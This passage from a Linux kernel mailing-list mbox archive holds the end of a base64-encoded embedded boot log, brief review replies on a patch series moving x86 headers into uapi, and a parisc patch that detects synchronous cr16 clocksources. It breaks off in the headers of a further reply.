IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIu
OS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1M5OC1rc3N1cGRhdGVyLjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuNi5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1
cGRhdGVyLjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TOTgta3NzdXBkYXRlci40Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMy5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjIu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
OTgta3NzdXBkYXRlci4xLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMC5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KZ3ppcDogY2FuJ3Qgb3BlbiAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0
ZXIuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luaXQuZC9yYzUuZC9TOTgt
a3NzdXBkYXRlcjogbGluZSA0OiBjYW4ndCBjcmVhdGUgL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVy
OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KXkNbICAgMTcuNjk4NDA1XSBnYWRnZXRmczogVVNCIEdhZGdldCBmaWxl
c3lzdGVtLCB2ZXJzaW9uIDI0IEF1ZyAyMDA0DQpKYW4gIDEgMDA6MDA6MTcgQlVJMjcwIHVzZXIu
aW5mbyBrZXJuZWw6IFsgICAxNy42OTg0MDVdIGdhZGdldGZzOiBVU0IgR2FkZ2V0IGZpbCAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXN5c3RlbSwgdmVyc2lv
biAyNCBBdWcgMjAwNA0KSmFuICAxIDAwOjAwOjE3IEJVSTI3MCB1c2VyLmRlYnVnIGtlcm5lbDog
WyAgIDE3LjcwNTc4MF0gcmV0dmFsIC0xMjANCg0K

--_002_92e442e55f2b4826a12bd4b74c6fb3caSGPMBX1023APACboschcom_
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--_002_92e442e55f2b4826a12bd4b74c6fb3caSGPMBX1023APACboschcom_--




From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 4/7] x86: put msr-index.h in uapi
Date: Fri, 6 Jan 2017 13:14:46 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20170106121446.aizmoxons5gpecnc@pd.tnic>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-5-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: blaine.gmane.org 1483704922 5708 195.159.176.226 (6 Jan 2017 12:15:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 12:15:22 +0000 (UTC)
User-Agent: NeoMutt/20161014 (1.7.1)
Cc: arnd@arndb.de, mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-ar
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jan 06 13:15:15 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cPTQL-0000C7-VK
	for sgi-linux-mips@gmane.org; Fri, 06 Jan 2017 13:15:10 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47356 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992278AbdAFMPL4Fc6E (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 6 Jan 2017 13:15:11 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 06 Jan 2017 13:14:56 +0100 (CET)
Original-Received: from mail.skyhub.de ([IPv6:2a01:4f8:120:8448::d00d]:42062 "EHLO
        mail.skyhub.de" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S23992036AbdAFMOuTTyJE (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 6 Jan 2017 13:14:50 +0100
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
        by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id Aklt1GlLquqH; Fri,  6 Jan 2017 13:14:49 +0100 (CET)
Original-Received: from pd.tnic (pD9F6AF60.dip0.t-ipconnect.de [217.246.175.96])
        (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 6EF1967685;
        Fri,  6 Jan 2017 13:14:49 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
        id 5F8AE160A45; Fri,  6 Jan 2017 13:14:46 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1483695839-18660-5-git-send-email-nicolas.dichtel@6wind.com>
X-archive-position: 56215
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bp@alien8.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57383 gmane.linux.kbuild.devel:16257 gmane.linux.documentation:44049 gmane.linux.kernel:2381592 gmane.linux.ports.alpha:4002 gmane.linux.kernel.arc:1973 gmane.linux.ports.arm.kernel:548451 gmane.linux.ports.hexagon:1082 gmane.linux.ports.ia64:27530 gmane.linux.kernel.metag:1205 gmane.linux.ports.parisc:27153 gmane.linux.ports.ppc64.devel:137028 gmane.linux.ports.sh.devel:54937 gmane.linux.ports.sparc:24274 gmane.linux.kernel.cross-arch:34670 gmane.comp.video.dri.devel:175534 gmane.linux.network:448480 gmane.linux.drivers.video-input-infrastructure:111669 gmane.linux.kernel.mmc:41941 gmane.comp.security.firewalls.netfilter.devel:66786 gmane.linux.nfs:81290 gmane.linux.raid:55284 gmane.linux.kernel.spi.devel:26050 gmane.linux.drivers.mtd:71107 gmane.linux.drivers.rdma:45173 gmane.linux.scsi.open-fcoe.devel:12991 gmane.linux.alsa.devel:162882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57383>

On Fri, Jan 06, 2017 at 10:43:56AM +0100, Nicolas Dichtel wrote:
> This header file is exported, thus move it to uapi.

It should rather not be exported - please remove it from
arch/x86/include/uapi/asm/Kbuild instead.

Thanks.

-- 
Regards/Gruss,
    Boris.

Good mailing practices for 400: avoid top-posting and trim the reply.



From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 4/7] x86: put msr-index.h in uapi
Date: Fri, 6 Jan 2017 22:50:34 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <CAHp75VdDfopdSy-7oy87ZeosDB9+FN4zFBhErPWLQB7tH81zTw@mail.gmail.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com> <1483695839-18660-5-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1483735844 5960 195.159.176.226 (6 Jan 2017 20:50:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 20:50:44 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, mmarek@suse.com,
        linux-kbuild@vger.kernel.org,
        Linux Documentation List <linux-doc@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm Mailing List <linux-arm-kernel@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, Cris <linux-cris-kernel@axis.com>,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org,
        "open list:LINUX FOR POWERPC PA SEMI PWRFICI
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jan 06 21:50:36 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cPbT8-0000Nl-9N
	for glpm-linux-m68k@m.gmane.org; Fri, 06 Jan 2017 21:50:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1032466AbdAFUuh (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 6 Jan 2017 15:50:37 -0500
Original-Received: from mail-qk0-f193.google.com ([209.85.220.193]:35141 "EHLO
        mail-qk0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1031059AbdAFUug (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 6 Jan 2017 15:50:36 -0500
Original-Received: by mail-qk0-f193.google.com with SMTP id u25so63594250qki.2
        for <linux-m68k@lists.linux-m68k.org>; Fri, 06 Jan 2017 12:50:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=DX7WmIueqXQ1GEtKMnFbhkERt2X0qmm/lU4v0ln5KdQ=;
        b=agpgZiSZhuA/CT5EP5rEl9F0cFcArtBehYnCumkpZMtx8fEhbv9Cf5hsBtmPyFjPY2
         9soz6rTLiOHuSORLSZVZF9j9EeSedzIIYawqvQoZ4XKDjV5iPfyJVN//lLbNAPBbLqmo
         f7vhqXzfy/XfOV4ZDQsAMkgkEo4My7sq2VAFMHiITcnPknlgmKNA/3jkDDfoq+m09arR
         ryi2wc6C4sADNs76ivLXLJUYkTtmRDlcvSXTmFZ9pRNC9lqk4eYg2OMar0ahauXRBSC3
         11WcRcDasWHxTJpfyXNbAKjCzyp3GTABwv8dP3BcuWIRaAXJY6VtL3IqewN0RRLkAPRg
         DlBQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=DX7WmIueqXQ1GEtKMnFbhkERt2X0qmm/lU4v0ln5KdQ=;
        b=TPGDPeuRx6BDYk1bbMWzJcORgUMYLDkYOON3fmiYDEiUXmjk3htGDJIYlBFNMw1J6B
         BaPT/wYwuZVIsQ9jFtypl5QuykhUWP1BaNYsHgogturtWyZ22Pv+RG/ti7vWZIbdb4tZ
         LPLVyT4wtfVpwD0QIVzIC8hMwT+Wq9W0O+ta3BpMIz1ecrXBPHIIifNQhD1HfXWbqVi5
         7Jln9XCPRGQqsuIv9co4Cq4bI3KMs4Hs+L5X+660y5186FrBhJY7lYVq7aHWYOLAUz2n
         oScx/+Hyu56doGjzVb8CKcz1N4Jqap29yU3FbWQCU1VQNkV6KEaGJb1MBw/m+aVKG9YV
         Bw7w==
X-Gm-Message-State: AIkVDXKTbuzU2GAfjsEBUQxNznPT1vj9x+kd5Ut8Y4OUo4cKOk4Vqs2xyT1qWLnyTkXmZQ1y7fVoObq7Vcbzbg==
X-Received: by 10.55.78.73 with SMTP id c70mr5763821qkb.11.1483735835332; Fri,
 06 Jan 2017 12:50:35 -0800 (PST)
Original-Received: by 10.12.129.153 with HTTP; Fri, 6 Jan 2017 12:50:34 -0800 (PST)
In-Reply-To: <1483695839-18660-5-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9102 gmane.linux.kbuild.devel:16260 gmane.linux.documentation:44074 gmane.linux.kernel:2381969 gmane.linux.ports.alpha:4003 gmane.linux.kernel.arc:1974 gmane.linux.ports.arm.kernel:548569 gmane.linux.ports.hexagon:1083 gmane.linux.ports.ia64:27533 gmane.linux.kernel.metag:1206 gmane.linux.ports.mips.general:57390 gmane.linux.ports.parisc:27154 gmane.linux.ports.ppc64.devel:137041 gmane.linux.ports.sh.devel:54941 gmane.linux.ports.sparc:24292 gmane.linux.kernel.cross-arch:34687 gmane.comp.video.dri.devel:175581 gmane.linux.network:448596 gmane.linux.drivers.video-input-infrastructure:111694 gmane.linux.kernel.mmc:41948 gmane.comp.security.firewalls.netfilter.devel:66789 gmane.linux.nfs:81305 gmane.linux.raid:55291 gmane.linux.kernel.spi.devel:26055 gmane.linux.drivers.mtd:71143 gmane.linux.drivers.rdma:45184 gmane.linux.scsi.open-fcoe.devel:12992 gmane.linux.alsa.devel:162910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9102>

On Fri, Jan 6, 2017 at 11:43 AM, Nicolas Dichtel
<nicolas.dichtel@6wind.com> wrote:
> This header file is exported, thus move it to uapi.

Just hint for the future:
-M (move)
-C (copy)
-D (delete) [though this is NOT for applying]

-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Enhance detection if cr16 clocksources are
 synchronous
Date: Sun, 8 Jan 2017 11:01:11 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <20170108100111.GA5340@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483869778 21080 195.159.176.226 (8 Jan 2017 10:02:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 8 Jan 2017 10:02:58 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 08 11:02:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cQAJK-0003S0-Ga
	for glpp-linux-parisc@m.gmane.org; Sun, 08 Jan 2017 11:02:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S937355AbdAHKBj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 8 Jan 2017 05:01:39 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:64645 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754254AbdAHKBY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 8 Jan 2017 05:01:24 -0500
Original-Received: from p100.box ([92.203.45.134]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M3igT-1ciF8V3AZt-00rISR; Sun, 08
 Jan 2017 11:01:14 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:s103ca+JDcihota7ag4Iz/uZOYdRQ1HRdFZYUbzZoJxlrM36d+3
 V8vMRn1etRAEVMrExkNdzuHk42MAL3uFHLWlNo4di1fQs4oEaQAuLtRJq3lh8o4MPp2C6Cm
 5FfAC9Nx1RPSTwScj9IVXFee3EKU+yJvqbqHbVYimdSsgkNx1gmZmSy3miAoSr1QN+0ZCXK
 ATK4h5npGYuQdtTOFipNg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+y6fYRrtNKI=:NAEdrnk+7nWid7MWn25Z79
 ltdQ0FIKO8muSbzMP0FgOdKtUeLpYtYn0iYigj0sZlBV+zu07yi+Jf79YjR/fvT6Me3GnL87a
 fWmLB0FzDHCTGeD+eoYN8pimjCCzJDA7Xo/JIhy93zNmJNnzYQH3vK1LpLgCcqMK0Y/K0olRa
 Ih/Auxr/hzOMt5maoFo87utiuEV4aMznrd5/coEng8mp/IM/ObhL10NUzETwf3i+sQBx2Ddf7
 5Lq5X6tp74s1yxTu29wLinBdkvqg9HYhO7QkXmjq/Ga5q+6DBwXnzlcjHDfrFWuh6bNcph6b9
 bqVrYqy59/sEGMOxAe4q9ijTU2s9fm5ytRxS6tqkDxqexjm6fYIz5WaGpQMAw0lKW/x0DXw8p
 Lsvoh1/eLVxSdJPQSSkigmg6dUNGeVZcp7V4QE8CZdjN4dKRYrNLJ0GANKdZ4a95xkHFYAwML
 X4NSNlk2btyTe1+4ekxVGXKvpmDj5MzCv3Eaq+TKiVjBatDMhTI/XgUBfEapTgt2jjCCohJke
 036pm7/ecI1t/1a7XTUadhV0ANsPVVbi/q6GPsB+1ZmJEKyCbmm9K7xg6I0e7RMCm3oHzLL8Y
 p+ebfzkLg2G9qBnM/RcztV/c80asWXRmDGgU/Mz8pLLWwx21eiCV0VvRa14yXtTwE18G6bAQJ
 /pY4+dmd6H/J7kQJJWHtQekuglXf1eUbxAPLfgWH8T7QupExkZ5Pw4AUGu6SQ8BrF5+8lY3D4
 q1VFejyejl+DHK9JRKmtGCNh0seeCkarxTCsn7qbKScY1FAZuS+OzM1yYws=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27155>

The cr16 clocks of the CPUs are usually not synchron.  Nevertheless, it seems
that each socket (with two cores) of a C8000 workstation is fed by the same
clock source, which makes the cr16 clocks of each socket syncron. Let's try to
detect such situations and mark the cr16 clocksource and the sched_clock stable
on single-socket and single-core machines.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index a3661ee..ea4e6ae 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -103,6 +103,8 @@ struct cpuinfo_parisc {
 	unsigned long bh_count;     /* number of times bh was invoked */
 	unsigned long fp_rev;
 	unsigned long fp_model;
+	unsigned long cpu_num;      /* CPU number from PAT firmware */
+	unsigned long cpu_loc;      /* CPU location from PAT firmware */
 	unsigned int state;
 	struct parisc_device *dev;
 	unsigned long loops_per_jiffy;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 85de47f..b1f33d7 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -94,7 +94,7 @@ static int processor_probe(struct parisc_device *dev)
 	unsigned long txn_addr;
 	unsigned long cpuid;
 	struct cpuinfo_parisc *p;
-	struct pdc_pat_cpu_num cpu_info __maybe_unused;
+	struct pdc_pat_cpu_num cpu_info = { };
 
 #ifdef CONFIG_SMP
 	if (num_online_cpus() >= nr_cpu_ids) {
@@ -180,6 +180,8 @@ static int processor_probe(struct parisc_device *dev)
 	p->hpa = dev->hpa.start;	/* save CPU hpa */
 	p->cpuid = cpuid;	/* save CPU id */
 	p->txn_addr = txn_addr;	/* save CPU IRQ address */
+	p->cpu_num = cpu_info.cpu_num;
+	p->cpu_loc = cpu_info.cpu_loc;
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 1e22f98..3138de7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -242,14 +242,30 @@ void __init time_init(void)
 static int __init init_cr16_clocksource(void)
 {
 	/*
-	 * The cr16 interval timers are not syncronized across CPUs, so mark
-	 * them unstable and lower rating on SMP systems.
+	 * The cr16 interval timers are not syncronized across CPUs on
+	 * different sockets, so mark them unstable and lower rating on
+	 * multi-socket SMP systems.
 	 */
 	if (num_online_cpus() > 1) {
-		clocksource_cr16.flags = CLOCK_SOURCE_UNSTABLE;
-		clocksource_cr16.rating = 0;
+		int cpu;
+		unsigned long cpu0_loc;
+		cpu0_loc = per_cpu(cpu_data, 0).cpu_loc;
+
+		for_each_online_cpu(cpu) {
+			if (cpu0_loc &&
+			    cpu0_loc == per_cpu(cpu_data, cpu).cpu_loc)
+				continue;
+
+			clocksource_cr16.flags = CLOCK_SOURCE_UNSTABLE;
+			clocksource_cr16.rating = 0;
+			break;
+		}
 	}
 
+	/* mark sched_clock stable if cr16 clocks are in sync */
+	if (clocksource_cr16.flags == CLOCK_SOURCE_IS_CONTINUOUS)
+		set_sched_clock_stable();
+
 	/* register at clocksource framework */
 	clocksource_register_hz(&clocksource_cr16,
 		100 * PAGE0->mem_10msec);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Vetter <daniel@ffwll.ch>
Newsgroups: gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Mon, 9 Jan 2017 11:01:09 +0100
Lines: 2652
Approved: news@gmane.org
Message-ID: <20170109100109.el26c4nbitc3uddb@phenom.ffwll.local>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483956102 13163 195.159.176.226 (9 Jan 2017 10:01:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 10:01:42 +0000 (UTC)
User-Agent: NeoMutt/20161126 (1.7.1)
Cc: arnd@arndb.de, mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
